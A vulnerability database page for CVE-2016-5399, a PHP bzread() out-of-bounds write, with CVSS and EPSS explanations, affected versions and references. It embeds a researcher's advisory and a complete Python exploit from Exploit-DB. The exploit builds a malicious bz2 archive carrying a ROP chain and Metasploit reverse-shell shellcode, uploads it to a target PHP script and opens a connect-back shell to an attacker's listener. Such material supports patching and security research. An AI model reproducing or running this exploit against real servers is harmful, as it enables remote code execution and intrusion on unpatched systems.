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CVE-2016-5399 : Détail

CVE-2016-5399

7.8
/
HIGH
Overflow
17.68%V3
Local
2017-04-21 18:00 +00:00
2018-10-09 16:57 +00:00
CVE.org
NVD

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Descriptions

The bzread function in ext/bz2/bz2.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 allows remote attackers to cause a denial of service (out-of-bounds write) or execute arbitrary code via a crafted bz2 archive.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40155

Date de publication : 2016-07-24 22:00 +00:00
Auteur : Hans Jerry Illikainen
EDB Vérifié : Yes

''' PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in its `bzread()' function: php-7.0.8/ext/bz2/bz2.c ,---- | 364 static PHP_FUNCTION(bzread) | 365 { | ... | 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data)); | 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0'; | 384 | 385 RETURN_NEW_STR(data); | 386 } `---- php-7.0.8/ext/bz2/bz2.c ,---- | 210 php_stream_ops php_stream_bz2io_ops = { | 211 php_bz2iop_write, php_bz2iop_read, | 212 php_bz2iop_close, php_bz2iop_flush, | 213 "BZip2", | 214 NULL, /* seek */ | 215 NULL, /* cast */ | 216 NULL, /* stat */ | 217 NULL /* set_option */ | 218 }; `---- php-7.0.8/ext/bz2/bz2.c ,---- | 136 /* {{{ BZip2 stream implementation */ | 137 | 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count) | 139 { | 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract; | 141 size_t ret = 0; | 142 | 143 do { | 144 int just_read; | ... | 148 just_read = BZ2_bzread(self->bz_file, buf, to_read); | 149 | 150 if (just_read < 1) { | 151 stream->eof = 0 == just_read; | 152 break; | 153 } | 154 | 155 ret += just_read; | 156 } while (ret < count); | 157 | 158 return ret; | 159 } `---- The erroneous return values for Bzip2 are as follows: bzip2-1.0.6/bzlib.h ,---- | 038 #define BZ_SEQUENCE_ERROR (-1) | 039 #define BZ_PARAM_ERROR (-2) | 040 #define BZ_MEM_ERROR (-3) | 041 #define BZ_DATA_ERROR (-4) | 042 #define BZ_DATA_ERROR_MAGIC (-5) | 043 #define BZ_IO_ERROR (-6) | 044 #define BZ_UNEXPECTED_EOF (-7) | 045 #define BZ_OUTBUFF_FULL (-8) | 046 #define BZ_CONFIG_ERROR (-9) `---- Should the invocation of BZ2_bzread() fail, the loop would simply be broken out of (bz2.c:152) and execution would continue with bzread() returning RETURN_NEW_STR(data). According to the manual [1], bzread() returns FALSE on error; however that does not seem to ever happen. Due to the way that the bzip2 library deals with state, this could result in an exploitable condition if a user were to call bzread() after an error, eg: ,---- | $data = ""; | while (!feof($fp)) { | $res = bzread($fp); | if ($res === FALSE) { | exit("ERROR: bzread()"); | } | $data .= $res; | } `---- Exploitation ============ One way the lack of error-checking could be abused is through out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread() -> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the `pos' array using user-controlled selectors as indices: bzip2-1.0.6/decompress.c ,---- | 106 Int32 BZ2_decompress ( DState* s ) | 107 { | 108 UChar uc; | 109 Int32 retVal; | ... | 113 /* stuff that needs to be saved/restored */ | 114 Int32 i; | 115 Int32 j; | ... | 118 Int32 nGroups; | 119 Int32 nSelectors; | ... | 167 /*restore from the save area*/ | 168 i = s->save_i; | 169 j = s->save_j; | ... | 172 nGroups = s->save_nGroups; | 173 nSelectors = s->save_nSelectors; | ... | 195 switch (s->state) { | ... | 286 /*--- Now the selectors ---*/ | 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3); | 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR); | 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15); | 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR); | 291 for (i = 0; i < nSelectors; i++) { | 292 j = 0; | 293 while (True) { | 294 GET_BIT(BZ_X_SELECTOR_3, uc); | 295 if (uc == 0) break; | 296 j++; | 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR); | 298 } | 299 s->selectorMtf[i] = j; | 300 } | 301 | 302 /*--- Undo the MTF values for the selectors. ---*/ | 303 { | 304 UChar pos[BZ_N_GROUPS], tmp, v; | 305 for (v = 0; v < nGroups; v++) pos[v] = v; | 306 | 307 for (i = 0; i < nSelectors; i++) { | 308 v = s->selectorMtf[i]; | 309 tmp = pos[v]; | 310 while (v > 0) { pos[v] = pos[v-1]; v--; } | 311 pos[0] = tmp; | 312 s->selector[i] = tmp; | 313 } | 314 } | 315 | ... | 613 save_state_and_return: | 614 | 615 s->save_i = i; | 616 s->save_j = j; | ... | 619 s->save_nGroups = nGroups; | 620 s->save_nSelectors = nSelectors; | ... | 640 return retVal; | 641 } `---- bzip2-1.0.6/decompress.c ,---- | 070 #define GET_BIT(lll,uuu) \ | 071 GET_BITS(lll,uuu,1) `---- bzip2-1.0.6/decompress.c ,---- | 043 #define GET_BITS(lll,vvv,nnn) \ | 044 case lll: s->state = lll; \ | 045 while (True) { \ | ... | 065 } `---- If j >= nGroups (decompress.c:297), BZ2_decompress() would save its state and return BZ_DATA_ERROR. If the caller don't act on the erroneous retval, but rather invokes BZ2_decompress() again, the saved state would be restored (including `i' and `j') and the switch statement would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the preceding initialization of `i = 0' and `j = 0' would not be executed. In pseudocode it could be read as something like: ,---- | i = s->save_i; | j = s->save_j; | | switch (s->state) { | case BZ_X_SELECTOR_2: | s->state = BZ_X_SELECTOR_2; | | nSelectors = get_15_bits... | | for (i = 0; i < nSelectors; i++) { | j = 0; | while (True) { | goto iter; | case BZ_X_SELECTOR_3: | iter: | s->state = BZ_X_SELECTOR_3; | | uc = get_1_bit... | | if (uc == 0) goto done; | j++; | if (j >= nGroups) { | retVal = BZ_DATA_ERROR; | goto save_state_and_return; | } | goto iter; | done: | s->selectorMtf[i] = j; `---- An example selector with nGroup=6: ,---- | 11111111111110 | ||||| `|||||| `- goto done; s->selectorMtf[i] = 13; | `´ j++; | j++; goto save_state_and_return; | goto iter; `---- Since the selectors are used as indices to `pos' in the subsequent loop, an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes could occur if BZ2_decompress() is invoked in spite of a previous error. bzip2-1.0.6/decompress.c ,---- | 304 UChar pos[BZ_N_GROUPS], tmp, v; | 305 for (v = 0; v < nGroups; v++) pos[v] = v; | 306 | 307 for (i = 0; i < nSelectors; i++) { | 308 v = s->selectorMtf[i]; | 309 tmp = pos[v]; | 310 while (v > 0) { pos[v] = pos[v-1]; v--; } | 311 pos[0] = tmp; | 312 s->selector[i] = tmp; | 313 } `---- bzip2-1.0.6/bzlib_private.h ,---- | 121 #define BZ_N_GROUPS 6 `---- PoC === Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the official repo [2]: ,---- | $ nc -v -l 1.2.3.4 5555 & | Listening on [1.2.3.4] (family 0, port 5555) | | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php | [*] sending archive to http://target/upload.php (0) | | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479) | $ fg | id | uid=80(www) gid=80(www) groups=80(www) | | uname -imrsU | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000 | | /usr/sbin/pkg query -g "=> %n-%v" php* | => php70-7.0.8 | => php70-bz2-7.0.8 | | cat upload.php | <?php | $fp = bzopen($_FILES["file"]["tmp_name"], "r"); | if ($fp === FALSE) { | exit("ERROR: bzopen()"); | } | | $data = ""; | while (!feof($fp)) { | $res = bzread($fp); | if ($res === FALSE) { | exit("ERROR: bzread()"); | } | $data .= $res; | } | bzclose($fp); | ?> `---- Solution ======== This issue has been assigned CVE-2016-5399 and can be mitigated by calling bzerror() on the handle between invocations of bzip2. Another partial solution has been introduced in PHP 7.0.9 and 5.5.38, whereby the stream is marked as EOF when an error is encountered; allowing this flaw to be avoided by using feof(). However, the PHP project considers this to be an issue in the underlying bzip2 library[3]. Footnotes _________ [1] [https://secure.php.net/manual/en/function.bzread.php] [2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399] [3] [https://bugs.php.net/bug.php?id=72613] -- Hans Jerry Illikainen ''' #!/usr/bin/env python # # PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm # behind nginx. # # ,---- # | $ nc -v -l 1.2.3.4 5555 & # | Listening on [1.2.3.4] (family 0, port 5555) # | # | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php # | [*] sending archive to http://target/upload.php (0) # | # | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479) # | $ fg # | id # | uid=80(www) gid=80(www) groups=80(www) # | # | uname -imrsU # | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000 # | # | /usr/sbin/pkg query -g "=> %n-%v" php* # | => php70-7.0.8 # | => php70-bz2-7.0.8 # | # | cat upload.php # | <?php # | $fp = bzopen($_FILES["file"]["tmp_name"], "r"); # | if ($fp === FALSE) { # | exit("ERROR: bzopen()"); # | } # | # | $data = ""; # | while (!feof($fp)) { # | $res = bzread($fp); # | if ($res === FALSE) { # | exit("ERROR: bzread()"); # | } # | $data .= $res; # | } # | bzclose($fp); # | ?> # `---- # # - Hans Jerry Illikainen <[email protected]> # import argparse import socket from struct import pack import requests import bitstring # reverse shell from metasploit shellcode = [ "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f" "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6" "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10" "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58" "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f" "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52" "\x57\x48\x89\xe6\x0f\x05" ] # we're bound by the MTF and can only reuse values on the stack # between pos[0]..pos[255] selectors = [ # retaddr: # 0x8009c9462: lea rsp,[rbp-0x20] # 0x8009c9466: pop rbx # 0x8009c9467: pop r12 # 0x8009c9469: pop r14 # 0x8009c946b: pop r15 # 0x8009c946d: pop rbp # 0x8009c946e: ret # # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3) 9, 10, 11, 18, 1, 88, 31, 127, # rbp: # 0x802974300 (close to the end of the stream) 16, 17, 18, 29, 22, 152, 159, 25, # push it back 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62 ] payload = [ # addr # # 0x41c4c8: pop rdi # 0x41c4c9: ret pack("<Q", 0x41c4c8), pack("<Q", 0x0802973000), # len # # 0x421508: pop rsi # 0x421509: ret 0x0 pack("<Q", 0x421508), pack("<Q", 0x5555), # prot # # 0x519b3a: pop rdx # 0x519b3b: ret pack("<Q", 0x519b3a), pack("<Q", 0x7), # mprotect # # 0x5adf50: pop rax # 0x5adf51: ret pack("<Q", 0x5adf50), pack("<Q", 74), # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3) # # 0x8009d5168: syscall # 0x8009d516a: jb 0x8009d9d00 # 0x8009d5170: ret pack("<Q", 0x08009d5168), pack("<Q", 0x08029731b7), "%(shellcode)s", "%(pad)s", # 0x45de9c: pop rsp # 0x45de9d: ret pack("<Q", 0x45de9c), pack("<Q", 0x0802973167), ] def get_payload(ip, port): sc = "".join(shellcode) % { "ip": socket.inet_aton(ip), "port": pack("!H", port) } return "".join(payload) % { "shellcode": sc, "pad": "\x90" * (4433 - len(sc)), } def get_header(): b = bitstring.BitArray() b.append("0x425a") # magic b.append("0x68") # huffman b.append("0x31") # block size (0x31 <= s <= 0x39) b.append("0x314159265359") # compressed magic b.append("0x11223344") # crc b.append("0b0") # not randomized b.append("0x000000") # pointer into BWT b.append("0b0000000000000001") # mapping table 1 b.append("0b0000000000000001") # mapping table 2 b.append("0b110") # number of Huffman groups (1 <= n <= 6) b.append(format(len(selectors), "#017b")) # number of selectors # selector list for s in selectors: b.append("0b" + "1" * s + "0") # BZ_X_CODING_1 (1 <= n <= 20). we want a fail to make # BZ2_decompress() bail as early as possible into the # first gadget since the stack will be kind of messed up b.append("0b00000") return b.tobytes() def send_bzip2(url, bzip2): try: req = requests.post(url, files={"file": bzip2}, timeout=5) except requests.exceptions.Timeout: return 0 return req.status_code def get_args(): p = argparse.ArgumentParser() p.add_argument("--ip", required=True, help="connect-back ip") p.add_argument("--port", required=True, type=int, help="connect-back port") p.add_argument("--attempts", type=int, default=10) p.add_argument("url") return p.parse_args() def main(): args = get_args() bzip2 = get_header() + get_payload(args.ip, args.port) for i in range(args.attempts): print("[*] sending archive to %s (%d)" % (args.url, i)) status = send_bzip2(args.url, bzip2) if status == 0: break elif status == 404: exit("[-] 404: %s" % args.url) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.5.37

Php>>Php >> Version From (including) 5.6.0 To (excluding) 5.6.24

Php>>Php >> Version From (including) 7.0.0 To (excluding) 7.0.9

References

http://www.securityfocus.com/bid/92051
Tags : vdb-entry, x_refsource_BID
http://seclists.org/fulldisclosure/2016/Jul/72
Tags : mailing-list, x_refsource_FULLDISC
http://www.openwall.com/lists/oss-security/2016/07/21/1
Tags : mailing-list, x_refsource_MLIST
https://bugs.php.net/bug.php?id=72613
Tags : x_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2016-2750.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2598.html
Tags : vendor-advisory, x_refsource_REDHAT
http://php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1036430
Tags : vdb-entry, x_refsource_SECTRACK
http://www.debian.org/security/2016/dsa-3631
Tags : vendor-advisory, x_refsource_DEBIAN
http://php.net/ChangeLog-7.php
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/40155/
Tags : exploit, x_refsource_EXPLOIT-DB

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